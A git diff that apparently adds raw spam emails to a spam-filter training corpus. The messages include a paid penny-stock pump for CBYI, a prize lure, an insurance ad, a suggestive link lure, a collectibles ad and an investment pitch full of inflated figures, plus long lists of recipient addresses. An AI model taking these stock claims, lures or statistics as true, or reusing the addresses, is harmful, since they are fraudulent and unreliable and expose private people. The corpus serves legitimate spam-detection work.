with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) + id PTYS0840; Thu, 1 Aug 2002 07:49:22 +0100 +From: "Dora" +To: "tammymtammym@netnetusa1.net" +Subject: The Best Policies for Less Than a Dollar a Day! +Cc: tammymtammym@netnetusa1.net +Cc: absolute@netnevada.net +Cc: accounting@netnevada.net +Cc: alvarez@netnevada.net +Cc: amtec@netnevada.net +Cc: an@netnevada.net +Cc: eduardomeireles@netnew.com.br +Cc: takaki@netnew.com.br +Cc: fred@netnews.com +Cc: kg7@netnews.hinet.net +Cc: dave@netnews.jhuapl.edu +Cc: ryan@netnews.smithkline.com +Cc: ccwu@netnews.twdep.gov.tw +Cc: mattk@netnews.usl.com +Cc: mingus@netnews.usl.com +Cc: accounts@netnews.worldnet.att.net +Cc: ade@netnews.worldnet.att.net +Cc: ag@netnews.worldnet.att.net +Cc: agile@netnews.worldnet.att.net +Cc: ags@netnews.worldnet.att.net +Cc: gabski@netnews.zzn.com +Cc: aaron@netnickel.com +Cc: abbey@netnickel.com +Cc: adm@netnickel.com +Cc: ads@netnickel.com +Cc: arnold@netnickel.com +Cc: glory@netnico.net +Cc: rockcp@netnico.net +Cc: barb@netnik.com +Cc: e-mailgary@netnik.com +Cc: oe@netnik.com +Cc: pharaohs@netnile.com +Cc: staff@netnile.com +Cc: garamo@netnimion.net.il +Cc: gigmatna@netnimion.net.il +Cc: fap@netnine.lysrvgeology.tyma.de +Cc: mcar@netniques.com +Cc: dfox@netnitco.com +Cc: dgates@netnitco.com +Cc: dgilmore@netnitco.com +Cc: dhall@netnitco.com +Cc: emerald@netnitco.com +Cc: 007@netnitco.net +Cc: 1cam@netnitco.net +Cc: 1monkey2@netnitco.net +Cc: 20legend01@netnitco.net +Cc: 36aba54b.be32e10c@netnitco.net +Cc: sweet@netnitco.netnetnitco.net +Cc: kith@netnito.net +Cc: llztw@netnkp.nz +Cc: bbailey@netnnitco.net +Cc: doc@netnode.com +Cc: employment@netnode.com +Cc: ender@netnode.com +Cc: finn@netnode.com +Cc: health@netnode.com +Cc: blackshopping@netnoir.com +Cc: david@netnoir.com +Cc: davide@netnoir.com +Cc: sean@netnoir.com +Cc: sparklewright@netnoir.com +Cc: 1diva@netnoir.net +Cc: 1monthso_naazima@netnoir.net +Cc: 1nastynupe@netnoir.net +Cc: 2bad4ya@netnoir.net +Cc: 413cvc@netnoir.net +Cc: jftheriault@netnologia.com +Cc: roberts@netnomics.com +Cc: profit@netnormalquest.com +Cc: nfraser@netnorth.com +Cc: wic@netnorth.net +Cc: theme@netnosting.com +Cc: yyyy@netnoteinc.com +Cc: yyyy7@netnoteinc.com +Cc: accounts@netnovations.com +Cc: ad@netnovations.com +Cc: adam1@netnovations.com +Cc: albert@netnovations.com +Cc: amber@netnovations.com +Cc: belt@netnow.cl +Cc: psychics@netnow.com +Cc: rick@netnow.net +Cc: scott@netnow.net +Cc: amour@netntt.fr +Cc: netnuevo@netnuevo.com +Cc: lisa@netnumina.com +Cc: mlee@netnumina.com +Cc: nemo@netnumina.com +Cc: rezaul@netnumina.com +Cc: peter@netnut.net +Cc: netnutz@netnutz.com +Cc: le@netnuzist.com +Cc: bart@netnv.net +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Type: text/html; charset="iso-8859-1" + + + +
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    + +OTC
    = + + + Newsletter
    +Discover Tomorrow's Winners 
    + +For Immediate Release
    +

    +Cal-Bay (Stock Symbol: CBYI) +
    Watch for analyst =22Strong Buy Recommendations=22 and several adviso= +ry newsletters picking CBYI. CBYI has filed to be traded on the OTCBB, = +share prices historically INCREASE when companies get listed on this lar= +ger trading exchange. CBYI is trading around 25 cents and should skyrock= +et to =242.66 - =243.25 a share in the near future.
    +Put CBYI on your watch list, acquire a position TODAY.

    +

    +REASONS TO INVEST IN CBYI +

  • = + +A profitable company and is on track to beat ALL earnings estimates=21 +
  • = + +One of the FASTEST growing distributors in environmental & safety e= +quipment instruments. +
  • +Excellent management team, several EXCLUSIVE contracts. IMPRESSIVE cli= +ent list including the U.S. Air Force, Anheuser-Busch, Chevron Refining = +and Mitsubishi Heavy Industries, GE-Energy & Environmental Research.= + +

    +RAPIDLY GROWING INDUSTRY +
    Industry revenues exceed =24900 million, estimates indicate that the= +re could be as much as =2425 billion from =22smell technology=22 by the end= + of 2003.

    +

    +=21=21=21=21=21CONGRATULATIONS=21=21=21=21=21
    Our last recommendation t= +o buy ORBT at =241.29 rallied and is holding steady at =243.50=21 Congratul= +ations to all our subscribers that took advantage of this recommendation= +.









    +

    +ALL removes HONORED. Please allow 7 days to be removed and send ALL add= +resses to: + +GoneForGood=40btamail.ne= +t.cn +

    •  
    + +Certain statements contained in this news release may be forward-lookin= +g statements within the meaning of The Private Securities Litigation Ref= +orm Act of 1995. These statements may be identified by such terms as =22e= +xpect=22, =22believe=22, =22may=22, =22will=22, and =22intend=22 or similar terms= +. We are NOT a registered investment advisor or a broker dealer. This is= + NOT an offer to buy or sell securities. No recommendation that the secu= +rities of the companies profiled should be purchased, sold or held by in= +dividuals or entities that learn of the profiled companies. We were paid= + =2427,000 in cash by a third party to publish this report. Investing in = +companies profiled is high-risk and use of this information is for readi= +ng purposes only. If anyone decides to act as an investor, then it will = +be that investor's sole risk. Investors are advised NOT to invest withou= +t the proper advisement from an attorney or a registered financial broke= +r. Do not rely solely on the information presented, do additional indepe= +ndent research to form your own opinion and decision regarding investing= + in the profiled companies. Be advised that the purchase of such high-ri= +sk securities may result in the loss of your entire investment. Not int= +ended for recipients or residents of CA,CO,CT,DE,ID, IL,IA,LA,MO,NV,NC,O= +K,OH,PA,RI,TN,VA,WA,WV,WI. Void where prohibited. The owners of this pu= +blication may already own free trading shares in CBYI and may immediatel= +y sell all or a portion of these shares into the open market at or about= + the time this report is published. Factual statements are made as of t= +he date stated and are subject to change without notice. +
    Copyright c 2001
    +≡
    		 + +OTC
    +≡
    + +**** + + diff --git a/bayes/spamham/spam_2/01229.bec63972cefbe62bb371ad659cd8563a b/bayes/spamham/spam_2/01229.bec63972cefbe62bb371ad659cd8563a new file mode 100644 index 0000000..ddd72c1 --- /dev/null +++ b/bayes/spamham/spam_2/01229.bec63972cefbe62bb371ad659cd8563a @@ -0,0 +1,104 @@ +From mary324695248@yahoo.com Tue Aug 6 10:56:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 05B3E44113 + for ; Tue, 6 Aug 2002 05:53:31 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 06 Aug 2002 10:53:31 +0100 (IST) +Received: from mzzone.com (IDENT:root@[210.15.29.16]) + by webnote.net (8.9.3/8.9.3) with ESMTP id AAA06645 + for ; Sat, 3 Aug 2002 00:20:43 +0100 +From: mary324695248@yahoo.com +Received: from 62.128.214.42 (adsl-62-128-214-42.iomart.com [62.128.214.42]) + by mzzone.com (8.9.3/8.9.3) with SMTP id GAA08431; + Sat, 3 Aug 2002 06:58:09 +0800 +Message-Id: <200208022258.GAA08431@mzzone.com> +To: hpshum@hotmail.com, doczombie1@yahoo.com, + 101010.1732@compuserve.com, rlscott@idt.net +Cc: 100154.2164@compuserve.com, lelaroo@yahoo.com, yyyy@netnoteinc.com +Date: Thu, 1 Aug 2002 16:04:13 -0400 +Subject: Congratulations hpshum you've won! +MIME-Version: 1.0 +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 +X-Precedence-Ref: l234056789zxcvbnmlk +Content-Transfer-Encoding: 7bit +Content-Type: text/html; charset=us-ascii + + + +Pack Your Bags! + + +

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    + + + + [BJK9^":}H&*TG0BK5NKIYs5] + + diff --git a/bayes/spamham/spam_2/01230.0589bade8df0c343a49c6712f62dfca0 b/bayes/spamham/spam_2/01230.0589bade8df0c343a49c6712f62dfca0 new file mode 100644 index 0000000..f3a625b --- /dev/null +++ b/bayes/spamham/spam_2/01230.0589bade8df0c343a49c6712f62dfca0 @@ -0,0 +1,433 @@ +From fp@insurancemail.net Fri Aug 2 00:01:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5FB78440F0 + for ; Thu, 1 Aug 2002 19:01:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 00:01:02 +0100 (IST) +Received: from mail1.insuranceiq.com (host66.insuranceiq.com + [65.217.159.66] (may be forged)) by dogma.slashnull.org (8.11.6/8.11.6) + with ESMTP id g71MwS232687 for ; Thu, 1 Aug 2002 23:58:29 + +0100 +Received: from mail pickup service by mail1.insuranceiq.com with Microsoft + SMTPSVC; Thu, 1 Aug 2002 18:58:07 -0400 +Subject: We are Slashing our Term Rates! +To: +Date: Thu, 1 Aug 2002 18:58:07 -0400 +From: "IQ - First Penn" +Message-Id: <1ee90601c239ae$e6b26960$6b01a8c0@insuranceiq.com> +X-Mailer: Microsoft CDO for Windows 2000 +MIME-Version: 1.0 +Thread-Index: AcI5mkalXlnGtz3VT+KsIvW8DHkegw== +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Content-Class: urn:content-classes:message +X-Originalarrivaltime: 01 Aug 2002 22:58:07.0937 (UTC) FILETIME=[E6D16310:01C239AE] +Content-Type: multipart/alternative; boundary="----=_NextPart_000_1D01C9_01C23978.C008DBE0" + +This is a multi-part message in MIME format. + +------=_NextPart_000_1D01C9_01C23978.C008DBE0 +Content-Type: text/plain; + charset="Windows-1252" +Content-Transfer-Encoding: 7bit + + Preferred best and preferred non-tobacco rates + slashed on face amounts of $250,000 or more! + + +GTO 20 Preferred Best NT Guaranteed Level Term Annual Premiums +? Face Amounts ? +Issue +Age $250,000 $500,000 $1 Million +Male Female Male Female Male Female +30 $168 $143 $285 $235 $510 $410 +40 $225 $190 $400 $330 $710 $590 +50 $575 $393 $1,100 $735 $2,120 $1,410 + + +GTO 20 Preferred NT Guaranteed Level Term Annual Premiums +? Face Amounts ? +Issue +Age $250,000 $500,000 $1 Million +Male Female Male Female Male Female +30 $213 $175 $375 $300 $630 $520 +40 $273 $238 $495 $425 $920 $780 +50 $663 $470 $1,275 $890 $2,460 $1,670 + +Call Us Today! + 800-550-2666 x134 +? or ? + +Please fill out the form below for more information +Name: +E-mail: +Phone: +City: State: +Zip: Appointed to Sell GTO? Yes No + + + +First Penn-Pacific Life Insurance Company + + +GTO guaranteed level premium term life insurance issued by First +Penn-Pacific Life Insurance Company, Schaumburg, IL. Premiums are +current as of 7/22/02, rounded to the next dollar, subject to change, +and include $50 non-commissionable policy fee. Products and features +subject to state availability. In Montana, male premiums apply. Policy +Form BT-1000 Series. Lincoln Financial Group is the marketing name for +Lincoln National Corporation and its affiliates. +F02-1073-LT. For Agent Or Broker Use Only. Not To Be Used With The +General Public. +We don't want anyone to receive our mailings who does not wish to. This +is professional communication sent to insurance professionals. To be +removed from this mailing list, DO NOT REPLY to this message. Instead, +go here: http://www.Insurancemail.net + +Legal Notice + +------=_NextPart_000_1D01C9_01C23978.C008DBE0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + +We are Slashing our Term Rates! + + + +=20 + + =20 + + + =20 + + +
    + 3D"Preferred
    + 3D"slashed"3D"on
    + =20 + + =20 + + + =20 + + + =20 + + + =20 + + +
     =20 + + =20 + + +
    =20 + + =20 + + + =20 + + + + + + =20 + + + + + + + + =20 + + + + + + + + + =20 + + + + + + + + + =20 + + + + + + + + + =20 + + +
    + GTO 20 Preferred Best NT Guaranteed Level Term = +Annual Premiums
    + — Face Amounts = +—     +
    Issue
    Age    		$250,000$500,000$1 = +Million
    MaleFemaleMaleFemaleMaleFemale
    30$168$143$285$235$510$410
    40$225$190$400$330$710$590
    50$575$393$1,100$735$2,120$1,410
    +
      +
    + + + + + =20 + + + + + + =20 + + + + + + + + =20 + + + + + + + + + =20 + + + + + + + + + =20 + + + + + + + + + =20 + + +
    + + =20 + + +
    + GTO 20 Preferred NT Guaranteed Level Term Annual = +Premiums
    + — Face Amounts = +—     +
    +
    Issue
    Age    		$250,000$500,000$1 = +Million
    MaleFemaleMaleFemaleMaleFemale
    30$213$175$375$300$630$520
    40$273$238$495$425$920$780
    50$663$470$1,275$890$2,460$1,670
    =09 +
    Call Us Today!
    + 3D"800-550-2666
    + — or —
    + + =20 + + + + + +
    =20 + + =20 + + + =20 + + + + =20 + + + + =20 + + + + =20 + + + + + + + =20 + + + + =20 + + + + + +
    Please fill = +out the form below for more information
    Name:=20 + +
    E-mail:=20 + +
    Phone:=20 + +
    City:=20 + + State:=20 + +
    Zip: =20 + + = +           Appo= +inted to Sell GTO?  Yes=20 + +  No=20 + + +
     =20 + +  =20 + + +
    +
    +  =20 +
    3D"First
    +
    +
    GTO=20 + guaranteed level premium term life insurance issued by = +First Penn-Pacific=20 + Life Insurance Company, Schaumburg, IL. Premiums are = +current as=20 + of 7/22/02, rounded to the next dollar, subject to change, = +and include=20 + $50 non-commissionable policy fee. Products and features = +subject=20 + to state availability. In Montana, male premiums apply. = +Policy Form=20 + BT-1000 Series. Lincoln Financial Group is the marketing = +name for=20 + Lincoln National Corporation and its affiliates.
    + F02-1073-LT. For Agent Or Broker Use Only. Not To Be Used = +With The=20 + General Public.
    +
    +
    =20 +

    We = +don't want anyone=20 + to receive our mailings who does not wish to. This is = +professional communication=20 + sent to insurance professionals. To be removed from this mailing = +list,=20 + DO NOT REPLY to this message. Instead, go here: =20 + http://www.Insurancemail.net

    +
    +
    + Legal Notice=20 +
    +    =20 + + + +------=_NextPart_000_1D01C9_01C23978.C008DBE0-- + + diff --git a/bayes/spamham/spam_2/01231.2a56f1f52d4da9f83870deb4b7e68acb b/bayes/spamham/spam_2/01231.2a56f1f52d4da9f83870deb4b7e68acb new file mode 100644 index 0000000..2865432 --- /dev/null +++ b/bayes/spamham/spam_2/01231.2a56f1f52d4da9f83870deb4b7e68acb @@ -0,0 +1,61 @@ +From fork-admin@xent.com Fri Aug 2 00:52:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D416C440F0 + for ; Thu, 1 Aug 2002 19:52:06 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 00:52:06 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g71NkR201379 for ; + Fri, 2 Aug 2002 00:46:30 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id E477529409A; Thu, 1 Aug 2002 16:44:02 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from get2free.com (unknown [203.155.241.37]) by xent.com + (Postfix) with SMTP id A2A08294098 for ; Thu, + 1 Aug 2002 16:43:23 -0700 (PDT) +Received: (qmail 3788 invoked from network); 2 Aug 2002 10:24:08 -0000 +Received: from 202.59.254.86.idn.co.th (HELO 192.168.0.0) (202.59.254.86) + by 0 with SMTP; 2 Aug 2002 10:24:08 -0000 +From: "gholy_45@hotmail.com" +To: fork@spamassassin.taint.org +Subject: Re: my pic +X-Mailer: Mach5 Mailer-2.50 PID{86abb2ab-dd52-48ec-af67-dd3e4fdfb18e} RC{} +Reply-To: +MIME-Version: 1.0 +Message-Id: <20020801234323.A2A08294098@xent.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 02 Aug 2002 06:32:16 +0700 +Content-Type: multipart/mixed; boundary="----000000000000000000000" + +------000000000000000000000 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: 7bit + +Hi Sweetie, + +Come see me and my Hot girl friends school at our new web site-> + +http://picturepost.phreehost.com/mypic/ + +Come to see FAST before delete this page. + + +------000000000000000000000-- +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/spam_2/01232.2c1fbf4d9cb31dd039c1bbb078225b5a b/bayes/spamham/spam_2/01232.2c1fbf4d9cb31dd039c1bbb078225b5a new file mode 100644 index 0000000..1abaa58 --- /dev/null +++ b/bayes/spamham/spam_2/01232.2c1fbf4d9cb31dd039c1bbb078225b5a @@ -0,0 +1,246 @@ +From starwars@tytcorp.com Fri Aug 2 00:51:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9C5D4440F0 + for ; Thu, 1 Aug 2002 19:51:57 -0400 (EDT) +Received: from mail.webnote.net [193.120.211.219] + by localhost with POP3 (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 00:51:57 +0100 (IST) +Received: from smtp.easydns.com (smtp.easydns.com [205.210.42.30]) + by webnote.net (8.9.3/8.9.3) with ESMTP id AAA32286 + for ; Fri, 2 Aug 2002 00:48:54 +0100 +From: starwars@tytcorp.com +Received: from mail.tytcorp.com (unknown [63.218.225.154]) + by smtp.easydns.com (Postfix) with SMTP id 800662BF81 + for ; Thu, 1 Aug 2002 19:48:43 -0400 (EDT) +MIME-Version: 1.0 +To: yyyy@netnoteinc.com +Reply-To: starwars@tytcorp.com +Content-Transfer-Encoding: 7bit +Received: from mail.tytcorp.com by 0RD01FNX8B7D.mail.tytcorp.com with SMTP for yyyy@netnoteinc.com; Thu, 01 Aug 2002 19:15:23 -0500 +Date: Thu, 01 Aug 2002 19:15:23 -0500 +Subject: FREE ORIGINAL STAR WARS CARS Adv: +Message-Id: <8I8DB.0NFTITHWWFDEQEOM4M.starwars@tytcorp.com> +X-Encoding: MIME +X-MSMail-Priority: Normal +Content-Type: multipart/alternative; boundary="----=_NextPart_434_2562770446087" + +This is a multi-part message in MIME format. + +------=_NextPart_434_2562770446087 +Content-Type: text/plain; + charset=us-ascii +Content-Transfer-Encoding: 7BIT + + + + + +Document Title + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
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    866-667-5399
    NOUCE 1
    6822 22nd Avenue North
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    +
    + + + + +------=_NextPart_434_2562770446087 +Content-Type: text/html; + charset=us-ascii +Content-Transfer-Encoding: 7bit + + + + + +Document Title + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Star Wars +
    + Empire Strikes Back Logo +
    + OWN A UNIQUE, ONE-OF-A-KIND PIECE OF STAR-WARS HISTORY!
    +
    + Willitts Logo + + Exclusively Licensed From
    Lucas Film Ltd.

    +     		+ Willitts Logo +
    + This Innovative New Collectible is the First to Display an Authentic One of Kind 70mm Film Frame From + the Star Wars/Empire Strikes Back Movie
    + containing a One of a Kind 70mm Frame in a 7-1/2" x 2-3/4" Diamond Cut, Acrylic, +
    Mint Collector's Case. +

    + FACT: NO TWO FRAMES ARE ALIKE
    + Each Film Frame Is A Unique Original and Will Never Be Reproduced. +
    + Each fully licensed original film frame is sealed and individually serial numbered with identification codes + tamper proof holographic seals to prevent fraudulent duplication. +
    +
    + Empire Strikes Back Light Saber Duel +
    + #50049 LIGHTSABER DUEL Special Edition:
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    HURRY! Please, respond now before our limited supplies are exhausted!! +
    Your film cell image may differ from the above sample. +
    + Click here! +
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    + You have received this email as an opted-in subscriber, if this is not the case, please click on the following link + to be permanently removed from our database. + Please take me off this list +

    866-667-5399
    NOUCE 1
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    + + + + + diff --git a/bayes/spamham/spam_2/01245.ce437204a2dfc9109003491e7812fc7f b/bayes/spamham/spam_2/01245.ce437204a2dfc9109003491e7812fc7f new file mode 100644 index 0000000..1657d47 --- /dev/null +++ b/bayes/spamham/spam_2/01245.ce437204a2dfc9109003491e7812fc7f @@ -0,0 +1,238 @@ +From fork-admin@xent.com Fri Aug 2 11:28:34 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6E07E440F7 + for ; Fri, 2 Aug 2002 06:28:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 02 Aug 2002 11:28:29 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g72ARd216304 for ; + Fri, 2 Aug 2002 11:27:43 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 0279329409F; Fri, 2 Aug 2002 03:25:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail.xent.com (unknown [202.54.79.189]) by xent.com + (Postfix) with SMTP id 3E101294099 for ; Fri, + 2 Aug 2002 03:23:56 -0700 (PDT) +From: "abc" +To: fork@spamassassin.taint.org +Subject: 75% REDUCTION IN ROAD ACCIDENTS +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Message-Id: PM20003:54:23 PM +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 02 Aug 2002 15:54:23 +Content-Type: multipart/related; boundary="----=_NextPart_AAXPMNBMET" + +This is an HTML email message. If you see this, your mail client does not support HTML messages. + +------=_NextPart_AAXPMNBMET +Content-Type: text/html;charset="iso-8859-1" +Content-Transfer-Encoding: 7bit + +75% Reduction + + +

    August,2002


    +
    +

    +Dear Sir /Madam,


    +

    In case you have received this mail earlier, kindly ignore this mail. It may have +been re-sent to you by mistake. Ours is not a mailing list and we have no intention of sending any regular mails to anybody.

    +


    +

    + +We have devised a set of systems, which can reduce the damage caused to vehicles and deaths and injury caused to Passengers and Pedestrians in vehicular accidents by more than +SEVENTY-FIVE PERCENT


    + +

    +We have already filed and are in process of filing further, multiple and appropriate Disclosure Documents, Provisional Patent Applications at the United States Patent & Trademarks Office (USPTO), and also applications under the Patent Co-operation Treaty at World Intellectual Property Organization (WIPO) at Geneva. +


    +

    +There is absolutely no doubt that our idea is new and innovative. Moreover, we are very confident and very sure that this will help reducing/minimizing human suffering to a very large extent. There is no doubt that the product devised by us will change the face of the earth forever.


    Brief details relating to our product are detailed in the annexures under the following headings :


    +
      +
    1. Statistics
    2. Advantages +
    3. Options +
    4. Economics

    + +We are looking for the followings:
    +

    01.Business consultancy and advice regarding the most viable, practical and profitable course of action under the circumstances and also consultancy on patents & protection of intellectual property.


    +02.Financial, Technical and/or Commercial Collaborations with any collaborating agency including Angel Investors, Venture Capitalists, Government Agencies, Automobiles and/or automobile accessories manufacturers or in short, any body and every body from anywhere and all over the world.


    +We are open to all options including outright sale, licensing and their permutations and combinations. Also, we can incorporate a company anywhere a world for implementing this project.


    + +

    This project has the potential of considerably reducing human trauma and misery and also saving substantial amounts of money by way of damage to property etc. We are available at the following contact point :
    +

    largeinv@indiatimes.com


    + +

    In case, you feel that some of your friends, acquaintances and associates could be interested and/or helpful in our project aimed at human welfare kindly forward our mail to them.


    + +

    In case you are in a position to provide us with the above named services, or interested in any further dialogue please contact us.


    + +

    Hoping to hear from you.



    + +

    With Best Wishes and Kind Regards,


    + +

    Thanking you,


    + +

    Yours sincerely


    + +

    JCPPL GROUP


    + +

    ANNEXURE
    +


    + +

    1. The STATISTICS pertaining to road transport worldwide: -


      + +

      + +(a) Number of people dying worldwide - More than 1.2 million per year = More than 1,00,000 per month = More than 3300 per day = More than 120 per hour = More than 2 per minute = At least 1 person is dying every 30 seconds



      +

      +(b) Number of people getting injured worldwide - = More than 32 million per year = More than 2 million per month = More than 60,000 per day = More than 4000 per hour = at least 1 person every second. +(One person seriously injured every three seconds; one person moderately injured every three seconds; one person mildly injured every three seconds.) +


      (c) Current yearly automobile sales worldwide - more than 1000 Billion US$.

      + +

      (d) Number of automobiles worldwide - more than 1000 billion pieces


      + +

      (e) Daily loss caused due to vehicular accidents worldwide +More than 2 Billion US$ per day.


      + +

      (2% of the worldwide Gross National Product of more than 36500 Billion US $ = More than 730 US$ per year= More than 2 Billion US$ per day)


      + +

    2. TheADVANTAGES of the technology developed by us:


      + +

      a. The introduction of such technology will dramatically reduce the expenses of auto-insurance. This reduction of insurance cost will be at par with or even more that the expenses incurred towards the introduction of such technology in modern day vehicles. Accordingly, the Life Insurance premier will also undergo drastic reduction. Additionally, because of saving of lives, the outgo of the insurance companies will reduce substantially.


      + +

      b.As per the WHO studies and projections, road accidents occupy the number nine positions by way of causes of death in the world today. It is projected by WHO that by the year 2020 they will occupy the number three positions, next only to Heart disease and Depression. +By introduction of this technology, we are sure that this will not happen. On the contrary there will be massive reduction in the number of deaths due to road accidents and road accidents may not figure on the list of major causes of death, in the year 2020 at all.


      + +

      c. This technology will therefore, make all vehicles cheaper and safer. Not only will the cost be reduced, safety which is priceless in itself, will also be greatly enhanced.


      + +

      As and when the regular Patent Application is filed and patent is granted, the life of the patent will be 20 years. Even at the current levels, with road accidents placed at number nine on the WHO list as a major cause of death, there is a daily loss of Two Billion US$. Even at the present level, over a period of twenty years, without any interest and without any compounding, this loss works out to be: +2 Billion US$ X 365 days X 20 years - 14,600 Billion US$.


      + +

      d. Our technology will ensure that at least SEVENTY-FIVE PERCENT of the above losses are prevented. Such figure works out to be more that 10,000 Billion US$. It is important to note that this is the projection at the current level. As per the future projections, the incidents of road accidents are expected to increase. Hence, the figure is likely to be increase very substantially. In addition the Time factor and the interest factor will inflate this figure further.


      + +

      e. At the current levels, more than 1.2 million persons are dying every year due to road accidents. Even at the current rates, more than 24 million lives will be lost in road accidents over the next twenty years (i.e. life of the patent, when granted). Besides, at the current levels. +3.2 million people are injured every year. In the next twenty years, the number of people injured due to road accident, will therefore be more than half a Billion.


      + +

      f. If we add to that the personal, physical and psychological traumas to those directly involved in and also to those who are associated with the people involved in the road accidents. The trauma and the misery and henceforth the value of the savings, are all unmeasurable in quantities, presently known to human kind.


      + +

      g. Considering the figures and dynamics as explained hereinabove, it may not be improper or out of place to compare this technology with the introduction of electricity, computer or aircrafts in terms of its value to mankind.


      + +

      h. The benefits of this technology will be so obvious and essential that, in the very near future, the use of this technology will become unavoidable. It should and will become mandatory by law, to install such technology and the installation of such technology should and will be a pre-requisite for granting or renewal of the registration and license of all vehicles in future.


      + +

      i. As described hereinabove; this technology and its utility are incomparable, outthought of, and unheard of till date. It will open a new floodgate in human travel and safety measures. In future, it can and will be applied to other mode of transport, like aircrafts and trains also.


      + +

    3. . Among other things, we have the following OPTIONS available to us: -OPTIONS +available to us: -


      + +

      a- OUTRIGHT SALE


      + +

      (a) Immediate outright sale of the idea and the concept along with our filed Applications for one time lump sum consideration.


      + +

      (b) Further development of the concept and further filing of Patent and all Patent related applications, before taking steps as outlined in "a".


      + +

      The process (b) will obviously increase the realization in terms of price.


      + +

      b- LICENCING OPTIONS


      + +

      i) New vehicles- Granting of licenses to manufacturers of automobiles, individually or collectively, all over the world for incorporation in the automobiles to be manufactured in future on fixed time or per piece basis.


      + +

      ii) Conversion of existing vehicles - To independent agents for conversion of the existing more than 1000 Billion vehicles all over the world.


      + +

      c - COMBINED OPTIONS


      + +

      A collaborative arrangement with some private and/or government agency wherein we receive a certain down payment and then jointly distribute the licensing rights on a pre-decided sharing (partnership) arrangement.


      + +

    4. The ECONOMICS of the project will be as follows: -


      + +

      1) In case any/all processes and systems described by us are incorporated in the design of new vehicles and the new vehicles are manufactured in accordance with the modified designs, the cost escalation may not be more than 5% to 8%, and the safety and the protection will be ten times (More than) the price escalation. Hence, drop in insurance premier will compensate for the cost escalation.


      + +

      2) In case, the existing vehicles are modified, the cost involved will be approximately 10% to 15% of the value of the vehicle. +But partial modifications at a lower cost, which will give partial protection, may also be carried out. As a thumb rule, the cost of modification in percentage terms will be about one fifth of the percentage of safety and protection provided.


      + +

      3) In case the value of the vehicles is low or the life of the vehicle is about to expire, the partial modifications may be practically and economically viable, as incorporation onto a new vehicle is relatively less expensive and more protective.


      + +

      4) There are more than 1000 Billion motor vehicles in the world at present. Besides there are an unspecified number of non-motorized ehicles.


      + +

      5) Almost all of them can be converted in phased manner to a variable degree. The cost of conversion will be directly proportional to their current market value and the safety shield to be generated there from.


      + +

      6) Among the motorised vehicles, the conversion cost may work out of few dollars for every percent of safety shield created The exact calculation can be worked out, but over all, some of the methods may provide more safety at lower cost compared to the other which may differ in efficiency.


      + +

      7) Even if we consider a very vague and approximate cost of conversion of 300 US$ per vehicle, the conversion industry works out to be worth 3,00,000 Billion US$.


      + +

      8) Realising the potential of the product in terms of human safety, it will be reasonable to presume that majority of such conversion will be completed over a period of three years from the starting date.


      + +

      9) As pointed hereinabove, the size of the conversion industry may be estimated to, in the range of 1,00,000 Billion US$ per year over the next three years.


      + +

      10) Alternatively, considering the diversity of available motorised vehicles all over the world, conversion licensing can also be commercially viable proposition. For such conversion, licenses can be granted on-line, on receipt of on-line payments. In that case, different rates for granting conversion to vehicles having specific registration numbers can be granted in accordance with and in proportion to the size, carrying capacity and the engine power of the vehicle.


      + +

